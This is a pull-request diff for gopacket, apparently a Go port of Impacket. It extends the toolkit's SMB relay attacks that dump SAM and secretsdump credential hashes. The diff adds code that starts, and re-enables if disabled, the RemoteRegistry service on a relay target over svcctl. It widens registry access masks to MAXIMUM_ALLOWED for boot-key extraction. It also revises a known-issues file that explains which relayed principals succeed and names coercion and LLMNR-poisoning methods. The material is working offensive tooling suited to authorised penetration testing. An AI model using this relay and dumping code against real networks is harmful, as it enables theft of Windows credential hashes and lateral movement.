Skip to content
Merged
Show file tree
Hide file tree
Changes from all commits
Commits
File filter

Filter by extension

Filter by extension

Conversations
Failed to load comments.
Loading
Jump to
Jump to file
Failed to load files.
Loading
Diff view
Diff view
36 changes: 11 additions & 25 deletions KNOWN_ISSUES.md
Original file line number Diff line number Diff line change
Expand Up @@ -10,19 +10,17 @@ When reporting, please include:

---

## 1. SMB Relay: Registry Access Denied (samdump / secretsdump)
## 1. SMB Relay samdump / secretsdump: Relayed Principal Must Have Admin on Target

**Symptom:** `BaseRegOpenKey(SYSTEM\Select) failed: 0x00000005` (ACCESS_DENIED) when running `samdump` or `secretsdump` via SMB relay.
**Symptom:** `BaseRegOpenKey(SYSTEM\Select) failed: 0x00000005` (ACCESS_DENIED) after a relay appears to succeed.

**Details:** The relay authenticates successfully, the winreg named pipe opens, and the HKLM root handle is obtained — but opening `SYSTEM\Select` (needed for boot key extraction) returns ACCESS_DENIED. This affects both `samdump` (new default) and `secretsdump`.
**Root cause:** The relayed principal does not have local administrator rights on the target. Reading the SAM/SYSTEM/SECURITY hives requires admin access, so the attack fails at the first privileged registry open. Verified against GOAD with `WINTERFELL$` (DC machine account) relayed to srv02 (fails as described), then `eddard.stark` (Domain Admin) relayed to the same srv02 (dumps hashes successfully).

**Root cause (suspected):** The relayed SMB session token may have a restricted impersonation level ("Identification" instead of "Impersonation") depending on the target's configuration, Windows patch level, or the relayed account's privileges. The winreg service may enforce stricter access checks on subkeys than on the root HKLM handle.
**This is not a gopacket bug** — it is the same constraint Impacket's `ntlmrelayx -attack samdump` has. The access mask on the subkey open has been aligned with Impacket (`MAXIMUM_ALLOWED`) so we pick up the widest effective access the token allows, but a token with no admin rights still can't read the protected keys no matter what we request.

**Workaround:** Use direct (non-relay) secretsdump with credentials obtained through other means (e.g., relay to LDAP for credential extraction, then use `secretsdump` directly).
**Common pitfall:** PetitPotam, PrinterBug, and similar coercion tools force a HOST's machine account to authenticate. A domain controller's machine account does NOT have admin on member servers by default, so relaying a DC$ auth to a member server always produces this ACCESS_DENIED. Relay scenarios that succeed involve user-context auth from a principal who is actually a local or domain admin on the target (e.g., a scheduled task running as a Domain Admin, an interactive login reaching out over SMB, Responder-style LLMNR poisoning catching a user credential).

**Not affected:** Standalone `secretsdump` with direct credentials works perfectly. Other SMB relay attacks (`shares`, `smbexec`) work fine over the same relay session.

**Status:** Needs investigation. May be environment-specific. Compare with Impacket's ntlmrelayx default SMB attack on the same target.
**Workaround:** ensure the relayed principal has admin rights on the target, or use `-attack shares` / `-attack smbexec` which don't require registry access.

---

Expand All @@ -40,19 +38,7 @@ When reporting, please include:

---

## 3. SMB Relay: Intermittent PIPE_NOT_AVAILABLE (0xc00000ac)

**Symptom:** `create failed: status=0xc00000ac` when opening the `winreg` named pipe on the relay target.

**Details:** The Remote Registry service may not be running or may be slow to respond to pipe connection requests. This is transient — retrying (via `--keep-relaying`) typically succeeds.

**Workaround:** Ensure the Remote Registry service is running on the target before relaying. Or use `--keep-relaying` to automatically retry on the next coerced authentication.

**Status:** Consider adding auto-retry or service start logic (Impacket starts RemoteRegistry automatically via SVCCTL before winreg operations).

---

## 4. Shadow Credentials: Certificate Generation Not Implemented
## 3. Shadow Credentials: Certificate Generation Not Implemented

**Symptom:** `-attack shadowcreds` reads existing `msDS-KeyCredentialLink` values but cannot write new shadow credentials.

Expand All @@ -64,7 +50,7 @@ When reporting, please include:

---

## 5. LDAP Relay: Plain LDAP (Port 389) Post-Auth Signing Failure
## 4. LDAP Relay: Plain LDAP (Port 389) Post-Auth Signing Failure

**Symptom:** LDAP relay to port 389 authenticates successfully but subsequent LDAP operations fail with signing errors on patched DCs.

Expand All @@ -76,7 +62,7 @@ When reporting, please include:

---

## 6. SMB→LDAPS Relay Fails on Patched DCs
## 5. SMB→LDAPS Relay Fails on Patched DCs

**Symptom:** Relay from SMB capture to LDAPS target fails with MIC validation errors.

Expand All @@ -90,7 +76,7 @@ When reporting, please include:

---

## 7. UDP Features Disabled Under `-proxy`
## 6. UDP Features Disabled Under `-proxy`

**Symptom:** Tools that depend on UDP fail with `UDP disabled under -proxy; the underlying feature cannot be tunneled` when `-proxy` (or `ALL_PROXY`) is set.

Expand All @@ -110,7 +96,7 @@ When reporting, please include:

---

## 8. Remaining Gaps (Low Priority)
## 7. Remaining Gaps (Low Priority)

These Impacket features are not yet implemented due to infrastructure requirements:

Expand Down
4 changes: 2 additions & 2 deletions pkg/dcerpc/winreg/remote.go
Original file line number Diff line number Diff line change
Expand Up @@ -96,7 +96,7 @@ func (r *RemoteOps) GetBootKey() ([]byte, error) {
for _, keyName := range keyNames {
path := fmt.Sprintf("SYSTEM\\%s\\Control\\Lsa\\%s", controlSet, keyName)

keyHandle, err := BaseRegOpenKey(r.rpcClient, hklm, path, 1, KEY_READ)
keyHandle, err := BaseRegOpenKey(r.rpcClient, hklm, path, 1, MAXIMUM_ALLOWED)
if err != nil {
return nil, fmt.Errorf("failed to open %s: %v", path, err)
}
Expand Down Expand Up @@ -127,7 +127,7 @@ func (r *RemoteOps) GetBootKey() ([]byte, error) {
// getCurrentControlSet determines which ControlSet is currently in use
func (r *RemoteOps) getCurrentControlSet() (string, error) {
// Open SYSTEM\Select key
selectKey, err := BaseRegOpenKey(r.rpcClient, r.hklm, "SYSTEM\\Select", 1, KEY_READ)
selectKey, err := BaseRegOpenKey(r.rpcClient, r.hklm, "SYSTEM\\Select", 1, MAXIMUM_ALLOWED)
if err != nil {
return "", err
}
Expand Down
166 changes: 166 additions & 0 deletions pkg/relay/remoteregistry.go
Original file line number Diff line number Diff line change
@@ -0,0 +1,166 @@
// Copyright 2026 Google LLC
//
// Licensed under the Apache License, Version 2.0 (the "License");
// you may not use this file except in compliance with the License.
// You may obtain a copy of the License at
//
// https://www.apache.org/licenses/LICENSE-2.0

package relay

import (
"log"

"github.com/mandiant/gopacket/pkg/dcerpc"
"github.com/mandiant/gopacket/pkg/dcerpc/svcctl"
)

// remoteRegistryState captures what ensureRemoteRegistryStarted changed on
// the target so we can undo it after the winreg session is done.
type remoteRegistryState struct {
startedByUs bool
wasDisabled bool
}

// ensureRemoteRegistryStarted opens svcctl on the relayed SMB session, starts
// the RemoteRegistry service if it's stopped, and enables it first if it's
// disabled. Returns state that the caller should pass to
// restoreRemoteRegistryState on exit so we leave the target the way we found
// it. All failures here are warnings, not errors: if we can't manage the
// service (e.g., because the relayed token lacks SERVICE_* access) we let
// the caller attempt the winreg open anyway - it often still works if the
// service is already running.
func ensureRemoteRegistryStarted(client *SMBRelayClient) *remoteRegistryState {
state := &remoteRegistryState{}

sc, closeFn, err := openSvcctl(client)
if err != nil {
log.Printf("[-] Warning: could not open svcctl: %v", err)
return state
}
defer closeFn()

svcHandle, err := sc.OpenService("RemoteRegistry",
svcctl.SERVICE_START|svcctl.SERVICE_STOP|svcctl.SERVICE_QUERY_STATUS|
svcctl.SERVICE_QUERY_CONFIG|svcctl.SERVICE_CHANGE_CONFIG)
if err != nil {
log.Printf("[-] Warning: could not open RemoteRegistry service: %v", err)
return state
}
defer sc.CloseServiceHandle(svcHandle)

status, err := sc.QueryServiceStatus(svcHandle)
if err != nil {
log.Printf("[-] Warning: could not query RemoteRegistry status: %v", err)
return state
}
if status.CurrentState != svcctl.SERVICE_STOPPED {
log.Printf("[*] Service RemoteRegistry is already %s", svcctl.GetServiceState(status.CurrentState))
return state
}

log.Println("[*] Service RemoteRegistry is in stopped state")

if config, err := sc.QueryServiceConfig(svcHandle); err == nil && config.StartType == svcctl.SERVICE_DISABLED {
log.Println("[*] Service RemoteRegistry is disabled, enabling it")
state.wasDisabled = true
if err := sc.ChangeServiceConfig(svcHandle, &svcctl.ChangeServiceConfigParams{
ServiceType: svcctl.SERVICE_NO_CHANGE, StartType: svcctl.SERVICE_DEMAND_START, ErrorControl: svcctl.SERVICE_NO_CHANGE,
}); err != nil {
log.Printf("[-] Warning: could not enable RemoteRegistry: %v", err)
}
}

log.Println("[*] Starting service RemoteRegistry")
if err := sc.StartService(svcHandle); err != nil {
log.Printf("[-] Warning: could not start RemoteRegistry: %v", err)
return state
}
state.startedByUs = true

// Poll until running. Brief loop: the pipe-open below happens before the
// service fully registers its SCM endpoint otherwise, leading to the
// intermittent PIPE_NOT_AVAILABLE.
for i := 0; i < 10; i++ {
if s, _ := sc.QueryServiceStatus(svcHandle); s != nil && s.CurrentState == svcctl.SERVICE_RUNNING {
break
}
}

return state
}

// restoreRemoteRegistryState stops the RemoteRegistry service (if we started
// it) and re-applies the SERVICE_DISABLED start type (if it was disabled
// before we enabled it). Errors are logged but not returned; we're on the
// cleanup path after the real work has completed.
func restoreRemoteRegistryState(client *SMBRelayClient, state *remoteRegistryState) {
if state == nil || (!state.startedByUs && !state.wasDisabled) {
return
}

sc, closeFn, err := openSvcctl(client)
if err != nil {
log.Printf("[-] Warning: could not reopen svcctl to restore RemoteRegistry: %v", err)
return
}
defer closeFn()

access := uint32(svcctl.SERVICE_STOP)
if state.wasDisabled {
access |= svcctl.SERVICE_CHANGE_CONFIG
}
svcHandle, err := sc.OpenService("RemoteRegistry", access)
if err != nil {
log.Printf("[-] Warning: could not reopen RemoteRegistry to restore: %v", err)
return
}
defer sc.CloseServiceHandle(svcHandle)

if state.startedByUs {
log.Println("[*] Stopping service RemoteRegistry")
if _, err := sc.StopService(svcHandle); err != nil {
log.Printf("[-] Warning: could not stop RemoteRegistry: %v", err)
}
}
if state.wasDisabled {
log.Println("[*] Restoring the disabled state for service RemoteRegistry")
if err := sc.ChangeServiceConfig(svcHandle, &svcctl.ChangeServiceConfigParams{
ServiceType: svcctl.SERVICE_NO_CHANGE, StartType: svcctl.SERVICE_DISABLED, ErrorControl: svcctl.SERVICE_NO_CHANGE,
}); err != nil {
log.Printf("[-] Warning: could not restore disabled start type: %v", err)
}
}
}

// openSvcctl opens the svcctl pipe on the relayed session, binds the
// service-controller RPC interface, and returns a controller plus a close
// function that tears down both the RPC binding and the pipe. IPC$ is
// already connected by the caller of the surrounding attack.
func openSvcctl(client *SMBRelayClient) (*svcctl.ServiceController, func(), error) {
fileID, err := client.CreatePipe("svcctl")
if err != nil {
return nil, nil, err
}
transport := NewRelayPipeTransport(client, fileID)
rpcClient := &dcerpc.Client{
Transport: transport,
CallID: 1,
MaxFrag: dcerpc.GetWindowsMaxFrag(),
Contexts: make(map[[16]byte]uint16),
}
if err := rpcClient.Bind(svcctl.UUID, svcctl.MajorVersion, svcctl.MinorVersion); err != nil {
client.ClosePipe(fileID)
return nil, nil, err
}
sc, err := svcctl.NewServiceController(rpcClient)
if err != nil {
client.ClosePipe(fileID)
return nil, nil, err
}
closeFn := func() {
sc.Close()
client.ClosePipe(fileID)
}
return sc, closeFn, nil
}
8 changes: 7 additions & 1 deletion pkg/relay/samdump_attack.go
Original file line number Diff line number Diff line change
Expand Up @@ -41,11 +41,17 @@ func (a *SAMDumpAttack) Run(session interface{}, config *Config) error {
func samDumpAttack(client *SMBRelayClient, cfg *Config) error {
log.Printf("[*] Dumping local SAM hashes via remote registry on %s", cfg.TargetAddr)

// Connect to IPC$ and open winreg pipe
// Connect to IPC$ and ensure RemoteRegistry is running before opening
// the winreg pipe. Without this the winreg CreatePipe intermittently
// fails with PIPE_NOT_AVAILABLE when the service is stopped or disabled
// (KNOWN_ISSUES.md #3). Matches the standalone secretsdump pattern.
if err := client.TreeConnect("IPC$"); err != nil {
return fmt.Errorf("tree connect IPC$: %v", err)
}

rrState := ensureRemoteRegistryStarted(client)
defer restoreRemoteRegistryState(client, rrState)

fileID, err := client.CreatePipe("winreg")
if err != nil {
return fmt.Errorf("open winreg pipe: %v", err)
Expand Down
13 changes: 10 additions & 3 deletions pkg/relay/secretsdump_attack.go
Original file line number Diff line number Diff line change
Expand Up @@ -43,11 +43,18 @@ func (a *SecretsdumpAttack) Run(session interface{}, config *Config) error {
func secretsdumpAttack(client *SMBRelayClient, cfg *Config) error {
log.Printf("[*] Dumping SAM hashes via remote registry on %s", cfg.TargetAddr)

// Step 1: Connect to IPC$ and open winreg pipe
// Step 1: Connect to IPC$ and ensure RemoteRegistry is running before
// opening the winreg pipe. Without this the winreg CreatePipe
// intermittently fails with PIPE_NOT_AVAILABLE when the service is
// stopped or disabled (KNOWN_ISSUES.md #3). Matches the standalone
// secretsdump pattern.
if err := client.TreeConnect("IPC$"); err != nil {
return fmt.Errorf("tree connect IPC$: %v", err)
}

rrState := ensureRemoteRegistryStarted(client)
defer restoreRemoteRegistryState(client, rrState)

fileID, err := client.CreatePipe("winreg")
if err != nil {
return fmt.Errorf("open winreg pipe: %v", err)
Expand Down Expand Up @@ -163,7 +170,7 @@ func getBootKeyViaRelay(rpcClient *dcerpc.Client) ([]byte, error) {
defer winreg.BaseRegCloseKey(rpcClient, hklm)

// Get current control set
selectKey, err := winreg.BaseRegOpenKey(rpcClient, hklm, "SYSTEM\\Select", 1, winreg.KEY_READ)
selectKey, err := winreg.BaseRegOpenKey(rpcClient, hklm, "SYSTEM\\Select", 1, winreg.MAXIMUM_ALLOWED)
if err != nil {
return nil, fmt.Errorf("open SYSTEM\\Select: %v", err)
}
Expand Down Expand Up @@ -192,7 +199,7 @@ func getBootKeyViaRelay(rpcClient *dcerpc.Client) ([]byte, error) {
for _, keyName := range keyNames {
path := fmt.Sprintf("SYSTEM\\%s\\Control\\Lsa\\%s", controlSet, keyName)

keyHandle, err := winreg.BaseRegOpenKey(rpcClient, hklm, path, 1, winreg.KEY_READ)
keyHandle, err := winreg.BaseRegOpenKey(rpcClient, hklm, path, 1, winreg.MAXIMUM_ALLOWED)
if err != nil {
return nil, fmt.Errorf("open %s: %v", path, err)
}
Expand Down